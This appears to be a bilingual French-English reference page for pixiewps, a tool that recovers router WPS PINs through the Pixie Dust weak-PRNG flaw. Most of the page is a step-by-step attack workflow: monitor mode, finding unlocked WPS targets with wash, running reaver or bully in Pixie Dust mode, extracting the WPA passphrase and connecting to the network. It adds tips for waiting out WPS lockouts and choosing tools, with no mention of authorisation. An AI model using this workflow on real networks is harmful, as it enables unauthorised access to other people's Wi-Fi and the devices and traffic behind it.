pixiewps

Outil d'attaque WPS Pixie Dust hors ligne. Exploite une génération de nombres pseudo-aléatoires faible dans certaines implémentations WPS pour récupérer le PIN WPS hors ligne en quelques secondes. Offline WPS Pixie Dust attack tool. Exploits weak pseudo-random number generation in some WPS implementations to recover the WPS PIN offline in seconds.

↗ https://github.com/wiire-a/pixiewps

Overview

pixiewps performs the Pixie Dust attack — an offline WPS PIN recovery technique. Some WPS implementations use predictable random number generation when creating the E-S1 and E-S2 nonces during WPS exchange. pixiewps can compute the correct WPS PIN offline from these captured values, often in seconds.

How the Attack Works

Normal WPS PIN brute-force: 11,000 attempts × ~1 second each = ~3 hours

Pixie Dust attack:
  1. Capture WPS handshake (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
  2. Exploit weak PRNG to compute E-S1 and E-S2 offline
  3. Recover PIN in seconds (instead of hours)
  
Works against:
  - Ralink chipsets
  - Broadcom chipsets (some)
  - Realtek chipsets
  - MediaTek chipsets
  Does NOT work against:
  - Qualcomm/Atheros (generally good PRNG)
  - Well-implemented WPS stacks

Usage with Reaver (Most Common Workflow)

# pixiewps is usually called automatically by Reaver or Bully
# --pixie-dust flag triggers Pixie Dust attack:
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

→ -K 1 = Pixie Dust mode (calls pixiewps internally)

Or with bully:

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

→ -d = Pixie Dust mode

Standalone pixiewps

If you have the WPS handshake values:

pixiewps \
  -e <E-Hash1> \
  -r <E-Hash2> \
  -s <E-S1> \
  -z <E-S2> \
  -a <AuthKey> \
  -n <PKR>

Example with known values:

pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...

Capturing WPS Values

Use wash to find WPS-enabled APs

wash -i wlan0mon

Use Reaver to capture WPS exchange -K 1 passes values to pixiewps automatically

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Output shows:
# [Pixie-Dust] E-Hash1: ...
# [Pixie-Dust] E-Hash2: ...
# [Pixie-Dust] WPS pin: 12345670
# [+] WPA PSK: 'MyWifiPassword'

Full Workflow

# Step 1: Enable monitor mode
airmon-ng check kill
airmon-ng start wlan0

Step 2: Find WPS targets

wash -i wlan0mon

→ Look for Lck=No (WPS not locked)

Step 3: Pixie Dust attack with Reaver

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Step 4: If successful, get WPA passphrase
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'SuperSecretPassword'
# [+] AP SSID: 'HomeNetwork'

# Step 5: Connect to the network
wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf

Tips

  • Pixie Dust is much faster than full PIN brute-force — always try it first
  • Success rate varies by chipset — Ralink and Realtek tend to be most vulnerable
  • If target has WPS locked (Lck=Yes), wait — many routers reset the lock after 5-10 minutes
  • Use bully instead of reaver for some routers that reaver handles poorly
Help / Man page
pixiewps [options]

-e E-Hash1    E-Hash1 from WPS exchange
-r E-Hash2    E-Hash2 from WPS exchange
-s E-S1       E-S1 seed (may be zeros)
-z E-S2       E-S2 seed (may be zeros)
-a AuthKey    Auth Key
-n PKR        Registrar's Public Key
-m E-Nonce    Enrollee nonce
-t TIMEOUT    Timeout (seconds)
-v            Verbose
-Z            Use zero for S1/S2 (some implementations)

Vue d’ensemble

pixiewps réalise l’attaque Pixie Dust, une technique de récupération hors ligne du PIN WPS. Certaines implémentations WPS utilisent une génération de nombres aléatoires prévisible lors de la création des nonces E-S1 et E-S2 pendant l’échange WPS. pixiewps peut calculer le bon PIN WPS hors ligne à partir de ces valeurs capturées, souvent en quelques secondes.

Fonctionnement de l’attaque

Brute-force WPS PIN classique : 11 000 tentatives × ~1 seconde chacune = ~3 heures

Attaque Pixie Dust :
  1. Capturer le handshake WPS (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
  2. Exploiter un PRNG faible pour calculer E-S1 et E-S2 hors ligne
  3. Récupérer le PIN en quelques secondes (au lieu de plusieurs heures)
  
Fonctionne contre :
  - Chipsets Ralink
  - Chipsets Broadcom (certains)
  - Chipsets Realtek
  - Chipsets MediaTek
  Ne fonctionne PAS contre :
  - Qualcomm/Atheros (PRNG généralement de bonne qualité)
  - Les stacks WPS bien implémentées

Utilisation avec Reaver (workflow le plus courant)

# pixiewps est généralement appelé automatiquement par Reaver ou Bully
# le flag --pixie-dust déclenche l'attaque Pixie Dust :
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

→ -K 1 = mode Pixie Dust (appelle pixiewps en interne)

Ou avec bully :

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

→ -d = mode Pixie Dust

pixiewps en mode autonome

Si vous disposez des valeurs du handshake WPS :

pixiewps \
  -e <E-Hash1> \
  -r <E-Hash2> \
  -s <E-S1> \
  -z <E-S2> \
  -a <AuthKey> \
  -n <PKR>

Exemple avec des valeurs connues :

pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...

Capture des valeurs WPS

Utiliser wash pour trouver les AP avec WPS activé

wash -i wlan0mon

Utiliser Reaver pour capturer l’échange WPS : -K 1 transmet automatiquement les valeurs à pixiewps

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# La sortie affiche :
# [Pixie-Dust] E-Hash1: ...
# [Pixie-Dust] E-Hash2: ...
# [Pixie-Dust] WPS pin: 12345670
# [+] WPA PSK: 'MyWifiPassword'

Workflow complet

# Étape 1 : activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0

Étape 2 : trouver des cibles WPS

wash -i wlan0mon

→ Rechercher Lck=No (WPS non verrouillé)

Étape 3 : attaque Pixie Dust avec Reaver

reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Étape 4 : en cas de succès, récupérer la passphrase WPA
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'SuperSecretPassword'
# [+] AP SSID: 'HomeNetwork'

# Étape 5 : se connecter au réseau
wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf

Conseils

  • Pixie Dust est bien plus rapide qu’un brute-force complet du PIN : essayez-le toujours en premier
  • Le taux de succès varie selon le chipset : Ralink et Realtek ont tendance à être les plus vulnérables
  • Si la cible a le WPS verrouillé (Lck=Yes), patientez : de nombreux routeurs réinitialisent le verrou après 5 à 10 minutes
  • Utilisez bully à la place de reaver pour certains routeurs que reaver gère mal
Aide / Page de manuel
pixiewps [options]

-e E-Hash1    E-Hash1 from WPS exchange
-r E-Hash2    E-Hash2 from WPS exchange
-s E-S1       E-S1 seed (may be zeros)
-z E-S2       E-S2 seed (may be zeros)
-a AuthKey    Auth Key
-n PKR        Registrar's Public Key
-m E-Nonce    Enrollee nonce
-t TIMEOUT    Timeout (seconds)
-v            Verbose
-Z            Use zero for S1/S2 (some implementations)